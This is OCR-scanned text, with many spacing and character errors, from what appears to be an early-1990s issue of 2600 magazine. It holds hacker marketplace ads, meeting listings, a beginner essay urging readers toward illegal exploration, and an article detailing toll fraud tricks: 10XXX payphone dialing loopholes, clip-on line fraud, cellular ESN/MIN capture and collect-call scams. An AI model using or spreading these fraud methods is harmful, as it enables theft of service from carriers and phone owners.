number is 25 cents a minute. (Don ' t  worry, we're not 

ma.ting a penny off of this!) 

2600 NOW HAS A VOICE 

BBS THAT OPERATES 

EVERY NIGHT BEGINNING 

AT 1 1  :00 PM EASTERN 

TIM E .  FOR THOSE OF YOU 

THAT CAN'T MAKE IT TO 

THE MEETINGS, THIS IS A 

GREAT WAY TO STAY IN 

TOUCH. CALL 

0700-75 1 -2600 USING 

AT&T ( I F  YOU DON'T 

HAVE AT&T AS YOUR 

LONG DISTANCE 

COMPANY, PRECEDE THE 

ABOVE N U MBER WITH 

1 0288) . THE CALL COSTS 

1 5  CENTS A MINUTE AND 

IT ALL GOES TO AT&T. 

YOU CAN ALSO LEAVE 

MESSAGES FOR 2600 

WRITERS AND STAFF 

PEOPLE AROUND THE 

CLOCK. 
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the month at the Citicorp Cenler-·fl'Om 5 to 8 pm in the 
lobby near the payphones, 153  E 53rd St., between 
Lexington and 3rd Avenues .  Come by,  drop off 
articles, ask questions, fmd the undercover agents. Call 
5 16· 75 1 ·2600 for more info. Payphone numbers: 212· 
223·90 1 1 , 2 1 2·223·8927, 21 2·308·8044, 2 1 2·308· 
8 1 62.  Washington DC: In the Pentagon City mall 
from 5 to 8 pm on the first Friday of the month. San 

Francisco: At 4 Embarcadero Plaza (inside) from 5 to 
8 pm on the first Friday of the month. Payphone 
numbers: 4 1 5·398·9803,4,5 ,6. Los Angeles: At the 
Union Station, comer of Macy St. snd Alameda from 5 
to 8 pm, first Friday of the month . Inside main 
entrance by bank of phones. Payphone nwnbers: 2 1 3-
972·9358 ,  9388, 9506, 95 19 ,  9520; 213·625 ·9923, 
9924; 2 1 3·614·9849, 9872, 99 1 8 ,  9926. Chicago: 
Century Mall, 2828 Clark St., 5 pm to 8 pm, first 
Friday of the month, lower level, by the payphones. SI. 
Louis: At the Galleria, Highway 40 and Brentwood, 5 
pm to 8 pm, first Friday of the month, lower level, 
food court area, by the theaters. Philadelphia: 6 pm at 
the 30th Street Amtrak station at 30th & Market, under 
the "Stairwell 7" sign. Payphone nwnbers: 21 5·222· 
9880,9881 ,9779,9799,9632, and 387·975 1 .  For info, 
call 215-552-8826. Cambrltlee, MA: 6 pm at Harvard 
Square, outside the "Au Bon Pain" bakery store. If it's 
freezing, then inside 'The Garage" by the Pizza Pad on 
the second floor. C a l l  516·751·2' •• 10 slarl a 
meeting In your cily. 
TOP QUALITY computer virus info. Little Black 
Book of Computer Viruses $ 14.95, add $2.50 postage. 
Disassemblies of popular viruses, fully commented 
and fully explained. Write for list. American Eagle 
Publications, Box 4140 1 ,  Tucson, AZ 857 17. 
ARRESTED D E V E LOPMENT. HIPIAN, 
+ 3 1 .79.426079. Renegade 8· 1 0  UUCP DOMAINS ! 
Vimet Node, POP Areas, 3 86-33mhz, 300mb, USR 
DS 38k4. 
LOOKING FOR ANYONE and everyone wanting to 
trade ideas, Amigo files , info about " interesting" 
things. I have about 10 megs of text mes, AL WAYS 
looking for more! Contact Steve at 414·422- 1 067 or 
email rlipper@csd4.csd.uwm.edu 
WE CAME, WE SAW, WE CONQUERED. I I " x 
1 7" full color poster of pirate flag flying in front of 
AT&T facility. Send $6 to P.O. Box 77 1 07 1 ,  Wichita, 
KS 67277·1072. 
PHONES TAPPED, office/home bugged, spouse 
cheating. Then this catalogue is for you! Specialized 
equipment, items, and sources. It's time to get even. 
Surveillance, countermeasures, espionage, personal 
protection. Send $5 check or money order to B .B.I., 
PO Box 978, Dept. 2-6, Shoreham. NY 1 1786. 
TAP BACK ISSUES, complete set Vol. 1 -9 1  of 
QUALITY copies from originals. Includes schematics 

Mail. Copy of 1 97 1  Esquire article ''The Secrets of the 
Little Blue Box" $5 & large SASE w/52 cents of 
stamps. Pete G . •  PO Box 463. Mt. Laurel, NJ 08054. 
We are the Original! 
PRINT YOUR ZIP CODE IN BARCODE. A great 
label program that allows you to use a database of 
address to print label with barcode. You also type and 
print a custom label. Send $9 no check to : H. Kindel, 
5662 Calle Real Suite 1 7 1 ,  Goleta, CA 931 17 .  IBM 
only. 
GENUINE 6.5536 MHZ CRYSTALS only $5 .00 
each. Orders shipped postpaid via First Class Mail. 
Send payment with name and address to Electronic 
Design Systems, 144 West Eagle Road, Suite 108 ,  
Havertown, PA 1 9083. Also: information wanted on 
Northeast Electronics Corp's TTS-59A portable MF 
sender and TTS-2762R MF and loop s ignalling 
display. Need manuals, schematics, alignment and 
calibration instructions (or photocopies). Will reward 
fmder. 
WIRELESS MICROPHONE and wireless telephone 
transmitter kits. Featured in the WINTER 1 99 1 ·92 
2600. Complete kit of parts with PC board. 520 CASH 
ONLY . or $ 3 5  for both (no checks) .  DEMON 
DIALER KIT as  rev iewed in this issue of 2600. 
Designed and developed in Holland. Produces ALL 
voiceband s ignals used in worldwide 
telecommunications netwo rks.  Send $250 CASH 
ONLY (DM 350) to Hack·Tic Technologies, Postbus 
22953, 1 1 00 DL Amsterdam, Netherlands (allow up to 
1 2  weeks for delivery). Please call +31 20 6001480 I 
*14#. Absolutely no checks accepted! 
FORMER U.S. ARMY ELECTRONIC 
WARFARE T E C HNICIAN with TS clearance 
looking for surveillance work which requires cunning, 
ingenuity, and skill. Prolocks of Atlantic City, Box 
1 769, Atlantic City, NJ 08404. 
TIN SHACK BBS (818) 992-3321. The BBS where 
hackers abound ! Over a gig of files, many on-line 
games! Multi-line! 2600 Magazine readers get FREE 
elite access! 
WOULD LIKE TO TRADE IDEAS with and 
befriend any fellow 2600 readers. Call Mike at 414-
458-6561 if interested. 

Marketplace ads are free to 
suh"crihers ' Send your  ad to: 2600 
Markclplace  PO Box 99, Middle 

l � l :md "JY l I Cl 'i ,  I nc l ude your 

. Iddrcss !abe l .  Ads may he edited or 

not pri nted at our d isc re t ion.  Deadl i ne 

for Winter issue: 1 2/ 1/92_  
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getting started 
by Phord Prefect 

So you watched someth ing on 
TV and i t  was about hackers . . .  you 
said "nifty" . . . .  You read something 
o n  a B B S  a b o u t  f r e e  p h o n e  
c a l l i n g  . . .  y o u  sa id "coo l "  . . . .  You 
started c hecking out books f rom 
the l ibrary about Knight Lightning, 
or m a y b e  e v e n  b l u e  b o x i ng 
(Esquire, Oct o b e r  1 9 7 1  ) . . .  you 
s a i d  "w o w " . . . .  You g o t  t h i s  
magazine and said , " I  have t o  do 
this" but didn't know where to start. 
Wel l ,  you' re not alone . . . .  

You r curiosity overwhelms you , 
but yet you can't seem to find that 
little thing to start your exploration .  
You cou ld t ry looking arou nd fo r 
other  hackers , but if they have a 
l ick of sense they won't make it too 
obviou s .  Try looking harder,  they 
might just come to you . 

So this doesn't work . . .  you just 
can 't seem to find any , o r  they're 
m o s t l y  p i ra t e s  a n d  c a n ' t  h e l p  
yo u .  Wel l ,  y o u ' r e  j u s t  go i n g  to 
h av e  to g e t  t h e  b a l l s  to d o  
someth ing i l legal in  your  l i fe (but 
I ' m n o t  f o rc i n g  y o u ) ,  so d o  
som eth ing .  This magazine is fu l l  
of  e x a m p l e s .  S u r e  t h e re ' s  
s t e a l i n g  M C I  c a l l i n g  c a rd s ,  
b u i ld ing b l u e ,  red,  o r  w h ateve r 
b o x e s ,  b u t  t h e r e  a r e  m u c h  
deeper th ings.  I f  you d efraud the 
p h o n e  c o m pany , yo u ' re n o t  a 
hacker, you j u st get free phone 
cal ls .  You need a passion for the 
system.  You need a wi l l ingness 

to le arn a lot abo u t  t h e  syste m 
before you do someth ing.  

I f  yo u ' re looking for free phone 
cal l s ,  h u rry u p  and do that and 
stop wast i n g  yo u r  t i m e . L ike I 
sa id , yo u ' re  not  a h acke r ,  you 
j u s t are  bo t h e re d  and need a 
l i tt l e  t r ick to get  o n to B B S ' s  i n  
som e  distant place . 

I f  yo u h ave a cur ios ity for the 
system ,  then you ' re in the r ight  
p l ac e . The p ho n e  c o m pan y i s  
so m et h i n g  so am az i n g l y  h u g e  
that one co u ld probably spend a 
l i fe t i m e  e x p l o r i n g  i t . T h i s  
"explo r i n g "  i s  w h at 2600 i s  a l l  
about.  I know that you computer 
g e n i u s  t e e n a g e r s  d o n ' t  n e e d  
manuals for th ings ( l ike computer 
prog ram s and VC R ' s) and are 
re a l l y  i m p at i e n t ,  s o  yo u do n ' t 
want  t h e  b u l ls h i t .  Yo u w a n t  to 
know  h o w  to get i n to s y s te m s  
n o w. W e l l ,  r e l a x .  Yo u m ad e  a 
good decis ion buy ing th is  mag , 
but you have to learn f i rst . You 
n e e d  t o  k n o w  t h i s  t h i n g  
backwards and forwards o r  e lse 
you 'l l  screw up and get caught.  

S o , i n  r e s p o n s e  to  t h e  
beginners writing i n  and wanting to 
"know how to get f ree phone calls 
and other phone tricks",  you need 
to get knowledge. R ead everything 
you can get you r h a n d s  o n  and 
when you feel  the t ime is  r ight , 
aft e r  yo u k n o w  e x a ct l y  how , 
where , why, and when to do it , do 
it . 
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To l l  F ra u d 
What The B ig  Boys Are N e rvous About 

by Count Zero 
Restricted Data Transmissions 
Tol l fraud is a s e r i o u s  p rob l e m  

that plagues the telecommun ications 
industry. Recently I have acq uired a 
c o l l e c t i o n  of t ras h e d d o c u m e n t s  
d etai l i ng what AT&T a n d  B e l lcore 
are d o i n g  to stop these "th efts . "  I 
found these papers very en l ightening 
and occasional ly  h u morous.  A few 
i n s i g h t s  i n t o  w h at ' s  b u g g i n g  t h e  
telco.  

Tol l  Fraud Prevention Committee 
( T F P C ) :  Th i s  is an i nd ustry - w i d e  
" f o r u m "  c o m m i t t e e  s e t  u p  i n  
conjunct ion with Be l lcore that deals 
w i t h ,  g u e s s  w h at ,  to l l  frau d .  Th e 
T F P C  h as " s u p e r  e l i te "  m e e t i n g s  
every once i n  awh i le .  A l l  participants 
are req u i red to s ign non-d iscl osure 
ag re e m e n t s .  F o rt u n ate l y ,  t h e  
p a rt i c i p an t s  freq u e n t l y  toss t h e i r  
notes i n  the POTC (Plain Old Trash 
C a n - s e e ,  I c a n  m ak e  s t u p i d  
acronyms just l ike B e l lcore ! ) .  As far 
as I ' m  co n c e r n ed , o n ce i t 's i n  t h e  
POTC , it 's P O  (pu b l ic domain) ! 

The "open issues" concern ing the 
TFPC c u r re n t l y  are Th i rd N u m b e r  
B i l l i ng Fraud , I nternational I ncom i ng 
C o l l e ct C al l s  to Pay p h o n e s ,  a n d  
I n co m i n g  C o l l ect Cal ls  t o  C e l l u l ar. 
A p p ar e n t l y ,  t h ey h ave n o t i ce d  a 
m arked i n c rease i n  t h i rd n u m b e r  
b i l l i ng fraud i n  Cal i fornia. To quote a 
m e m o , "Th e most p reval e n t  fraud 
s c a m s  i n c l u d e  o r i g i n at i n g f r o m 
coin/copt (aka COC OTs) phones as 
w e l l  as b u s i n e s s  a n d  res i d e n c e 
s e rv i c e t h at i s  fra u d u l e n t l y  
establ ished . "  Th i�d party bi l l i ng from 
C O C OTs i s  an o l d  t r i c k .  Anot h e r  
t y p e  of  C O C O T  ab u s e  d i s c u s s e d  

w as " 1 0 XX X "  f r a u d .  B y  d i a l i n g 
1 OXXX (where XXX is the code for a 
certain LD carrier) , the cal ler  on the 
C O C O T  g e ts t o  c h o o s e  t h e i r  LD 
carrier. However, in some cases the 
LEC ( Local Exchange Carrie r) strips 
off the 1 0XXX and then sends t h e  
c a l l t o  t h e  I X C ( I n t e r - E x c h a n g e  
Carrier ,  the g uys that p lace t h e  LD 
cal l )  as a 1 + d i rectly d ialed cal l .  So, 
w h e n  y o u  d i a l 1 O X X X + 0 1 1  + i n ­
ternat ional  n u mber ,  t h e  LEC str ips 
the 1 0XXX and the IXC sees the cal l  
as d i rectly d i al ed i nte rn ational  and 
assu m es the cal l has been paid for 
by co i n  i n t o  t h e  C O C O T .  D i al i n g 
1 O X XX + 1 + A C N  a l s o  s o m e t i m e s 
works for LD cal ls with i n  the U n ited 
States. Anyway, COCOT prov i d e rs 
are wigg i ng out a bit because , wh i le  
they must p rovide 1 0XXX+O service, 
they want to b lock the 1 OXXX+ 1 and 
1 0XXX+0 1 1 l o o p h o l e s ,  but L E C ' s 
h av e  c h o s e n  to p rov ide C O C OTs 
with a standard business l ine which 
is  n o t  cap a b le of d i s t i n g u i s h i n g 
betwee n  these d iffe rent  s i t u at ions , 
w h i c h  is w h y  central  off ices h av e  
b e e n  typ ical ly p rog ram m ed t o  b lo.::k 
all t y p e s  o f  1 0 XXX ca l l s f r o m  
COCOTs. Thanks to the FCC , they 
can 't do that anymore ; it's breaking 
th e la wl S o  C Os h av e  b e e n  
reprog ram med i nto accept ing these 
1 0XXX cal ls from al l  COCOTs , and 
the burden of selectively blocking the 
1 OXXX+ 1 and 1 0XXX+0 1 1 loopholes 
o ft e n  f a l l s  u p o n  t h e  C O C O T 
man ufacture r. They gotta bu i ld it i nto 
the COCOT hardware itself !  

Wel l ,  m any early COCOTs cannot 
se lective ly unblock 1 0XXX+O, so their 
own e rs face a g ri m  choice between 
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ignor ing the unb locking law (th ereby 
facing legal problems), unblocking all 
1 0XXX c a l l s  ( t h e re by o p e n i n g  
themselves up  to massive fraud) ,  o r  
r e p l a c i n g  t h e i r  C OCOTs w i t h  
e x p e n s ive , m o re sop h i s t i cated 
m o d e l s .  Ot h e r  L E Cs h ave b eg u n  
off e r i n g  c a l l  s c r e e n i n g  a n d  ot h e r  
methods to stop th is type of fraud , but 
t h e  w h o l e  s i t u at i o n  is st i l l  p r etty 
m essy .  By t h e  way,  f o r  a 
comprehensive l ist of 1 0XXX carr ier 
access codes, see the Autumn 1 989 
issue of 2600, page 42 and 43. While 
they are constantly changing ,  most of 
these should sti l l  be good. 

I ncom i ng I nternat iona l  Co l lect to 
Cel lu lar: accord ing to the notes ''when 
a ce l l u l a r  p h o n e  i s  t u r n e d  o n ,  it  
'checks in '  with the local cel lu lar office. 
W h e n  t h i s  h a p p e n s ,  a d ev ice t h at 
' reads' rad io waves can capture the 
identif ication of  the ce l lu lar phone.  A 
t re m e n d o u s  vo l u m e  of 'c l o n ed ' 
f raudu lent ce l l u lar  cal ls are going to 
Lebano n . "  Same o ld  t r ick, g rabb ing  
t h e  ce l l  p h o n e ' s  E S N/M I N  as i t ' s  
b roadcast. The on ly twist i s  that you 
cal l  someone's ce l l u lar phone collect 
i n  order to g et them to p ick up and 
b roadcast t h e i r  ESN/M I N  ( they wi l l  
p robably refuse the cal l ,  but they wi l l  
have  b roadcast  t h e i r  E S N/M I N  
nevertheless !) But why Lebanon ? 

T h e  A m e r ican  P u b l i c  Com m u n ­
icat ions Cou nc i l  ment ioned "a desire 
for  t h e  T F P C  to b e  i n vo lved i n  t he  
resolution o f  cl ip-on fraud." Maybe you 
guys should try better shielding of the 
phone line coming out the back of the 
COCOT?? Apparent ly, c l ip-on fraud 
has real ly taken off with the recent flux 
of new COCOTs. COCOTs operate off 
a plain old customer  loop, so clipping 
onto the ring and t ip outside the body 
of the COCOT works n icely. That is, 
assum ing you can get at the cab les 

and get th rough the insulation .  
I ncoming I nternational Col lect:  This 

is a big issue. A person from overseas 
calls a payphone collect in the Un ited 
States .  H is/h er  buddy answers the  
payphone and says , "Su re ,  I accept 
the charges . "  Be l ieve it or not ,  th is 
tr ick works many t imes! Here's why. In 
t h e  U n i t e d  Stat e s ,  d atabases  
conta i n i n g  a l l  p u b l ic t e l e p h o n e  
n u m b e r s  p ro v i d e  a reaso n ab l e  
meas u re o f  co nt ro l ove r d o m est ic 
col lect abuse and are avai lable to a l l  
carrie rs for a per-use ch arge.  These 
databases are offered and m aintained 
by t h e  loca l t e l e p h o n e  c o m p a n ies 
(LTC). Domest ic col lect-to-coin cal l ing 
works we l l ,  because most ope rator 
services systems in the Un ited States 
query this database on each domestic 
co l l ect ca l l .  M ost Loca l  Exc h a ng e  
Carriers i n  the Un ited States also offer 
t h is d atabase se rvice to owners of 
COCOTs (for those few t hat accept 
incoming cal ls) .  

However,  international operators 
across the world do not share access 
to th is database, just as Un ited States 
i nte rnat io nal  operato rs do not have 
d atabase  access overseas ! T h e  
CCITI, t h e  international consortium of 
t e l e co m m u n i cat i o n s  c a r r i e rs ,  
recogn ized th is serious problem many 
y e a rs ago w i t h  its s t rong  
reco m m e n d at i o n  to u t i l i z e  a 
standard ized co in phone recog n it ion 
tone (co m m o n ly ca l l ed  t h e  cuckoo 
tone)  on every pub l ic  te lephone l i ne  
number. Such a tone wou ld be  easi ly 
recog n ized by operators wor ldwide,  
and is currently in  use by many foreign 
telcos. 

T h e  U n it e d  States  d ec i d e d  to 
i g n o r e  t h i s  log i c a l l y  so u n d 
reco m m e n d at io n ,  h a v i n g  a l ready 
emp loyed a n u mber ing  st rategy for 
publ ic telephones wh ich , together with 
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a ref e r e n c e  d o c u m e nt c a l l e d  t h e  
" R o ute  B u l l e t i n " ,  a l e rted  f o r e ig n  
ope rato rs t h at t h e  c a l l e d  n u m b e r  
shou ld be checked f o r  co in  with the 
U n ited States i n ward operator .  This 
simple procedure g reatly red uced the 
n u m b e r  of t i m e s  t h at t h e  f o r e ig n 
operator had to check with the U nited 
States operator, y et was effect ive at 
cont ro l l i ng a b u s e .  Eve ryo n e  s l e pt 
sound ly. 

B ut after  t h e  b u st-up of AT&T i n  
1 984, t h e  local te lephone compan ies, 
operat i ng  i n d ep e n d e nt ly  and  u nder  
p ressu re  t o  o ff e r  n ew s e rv ices 
(cel lu lar, pagers, etc . ) ,  abandoned the 
publ ic phone fixed n umbering strategy ! 
I n  add ition ,  i n  June  of 1 984 the FCC 
decided to a l low t h e  b i rth of p r ivate 
payphones (COCOTs) .  And , up  u nt i l  
1 989, nothing was done to replace the 
fraud prevention system. Can you say 
"open season"? 

I n  1 989, the TFPC began seeking a 
solution to the growing IA:>lume of fraudulent 
collect calls resu�ing from this void in the 
fraud prevention architecture. Numerous 
solutions were explored. A primary solution 
was chosen. 

Validation database/ Yes, the TFPC 
chose to support 1 00 percent the LEC 
database solut ion ,  with  the cuckoo 
payphone recogn ition tone as one of a 
nu mber of secon dary sol ut ions .  Th is 
decisio n caused problems, p roblems, 
problems, since it  was evaluated that a 
great number of foreign telcos would be 
unable to i m p lement th is  d atabase­
checking routine (for a variety of technical 
reasons). Furthermore, because this TFPC 
"solution" to the Un�ed States' problem is 
not in conformance with i nternationa l  
requirements, the foreign telcos view � w� 
strong oppos it ion as an unacceptable 
solution due to the acId�ionai worktime that 
wou ld be i ncur red and the b latant 
unwi l l ingness on the part of the Un ited 

States to fol low an effective and 
longstanding intemational standard (sh�, we 
baked at using metrics, why not this too?). 

To this day, the TFPC is still bouncing 
around ideas for this. And the susceptibil� 
of United States payphones to intemational 
incoming collect calls remains wide open. 
Various phone companies are currently 
fighting the cuckoo tone system, because 
they are dleap mothers and dent want to 
spend the  est imated $500-700 per 
payphone to i nsta l l  the  cuckoo ton e  
tech no logy. I f  t he  cuckoo ton e  were 
implemented, it would virtually eliminate the 
problem of international incoming collect 
calls. But it hasnt been . . . .  

Other brilliant "secondary" solutions 
recommended by the TFTP are :  

1 )  E l i m i n ate the r i n g e r  on t h e  
payphone. 

2) Route al l  such cal ls thru a Un ited 
States operator. 

3) E l i m i n ate inco m i n g  se rvice to 
payphones altogether. 

And so on. As you can see, th is is a 
fascinating story, and the latest TFTP 
m eet i ng ended w it h  t h e  note "The  
issue was  d iscussed a t  some length 
with the end result of it beco m i ng a 
n e w  i s s u e . "  T r u ly t h e  w o r k  of  
gen iuses. 

I n  closing, I want to share with  you 
a q uote from an article I dug out from 
a p i l e  of coff e e  g r i n d s .  I t ' s  f r o m  
Pay phone Exchange Magazine. 

''The fewer the number of people aware 
of a primary line of defense coming down, 
the better. Any quaiWied person reading the 
hacker and underg round publ icat ions 
knows that many a their articles are written 
by current LTC and IXC employees [or 
people l i ke me who go th rough  the i r  
garbag e !] .  Loose l ips s i nk  sh ips .  
U n rest r icted d ist r ibut ion of  sensit ive 
information permits fraud. Both cost dearly. 
Let's stop them both today." 

Ali i can s'J!f is . . .  fuck that. 
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Accordin, to intemal phone COlnaetRV 
d o c u '"uta that · sut 
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